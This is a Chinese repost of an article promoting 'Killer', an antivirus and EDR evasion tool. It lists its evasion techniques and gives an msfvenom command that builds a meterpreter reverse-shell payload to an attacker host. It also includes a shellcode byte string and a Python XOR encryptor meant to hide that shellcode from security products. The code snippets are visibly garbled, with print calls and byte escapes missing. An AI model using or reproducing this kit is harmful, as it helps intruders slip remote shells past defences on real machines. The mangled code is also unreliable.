- 用于内存扫描规避的模块踩踏
- 通过新的 ntdll 副本解除 DLL
- IAT 隐藏和混淆 & API Unhooking
- ETW Patchnig 用于绕过一些安全控制
- 包括沙箱规避技术和基本反调试
- 通过 XOR-ing 完全混淆(函数 - 键 - Shellcode)
- Shellcode 逆向加密
- 在不使用 API 的情况下将有效负载移动到神圣的内存中
- GetProcAddress 和 GetModuleHandle 由 @cocomelonc 实现
- 无需创建新线程即可运行 & 支持 x64 和 x86 arch
如何使用它
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST
<
IP
>
LPORT
<
PORT
>
-f py
然后将输出复制到加密器 XOR 函数中:
data = b
"xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xffxacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8bx01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xebx8dx5dx6ax01x8dx85xb2x00x00x00x50x68x31x8bx6fx87xffxd5xbbxf0xb5xa2x56x68xa6x95xbdx9dxffxd5x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00x53xffxd5x63x61x6cx63x2ex65x78x65x00"
key = 0x50
# Put here your key as byte like for example (0x90 or 0x40 or 0x30) and more...
(
'{ '
, end=
''
)
for
i
in
data:
(hex(i ^ key), end=
', '
)
(
"0x0 };"
)
# Notice that it adds one byte "0x0" to the end.
然后你就可以处理你的解密函数了,这对脚本小子来说并不容易^-^,你可以在我的文章中阅读更多相关信息:
- 第 1 部分 => https://medium.com/@0xHossam/av-edr-evasion-malware-development-933e50f47af5
- 第 2 部分 => https://medium.com/@0xHossam/av-edr-evasion-malware-development-p2-7a947f7db354
- 第 3 部分 => https://medium.com/@0xHossam/unhooking-memory-object-hiding-3229b75618f7
这是运行时的结果:
项目地址:
https://github.com/0xHossam/Killer
PoC(概念验证):
项目地址:
https://github.com/0xHossam/Killer
原文始发于微信公众号(Ots安全):【免杀系列】Killer AV/EDR 规避工具
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论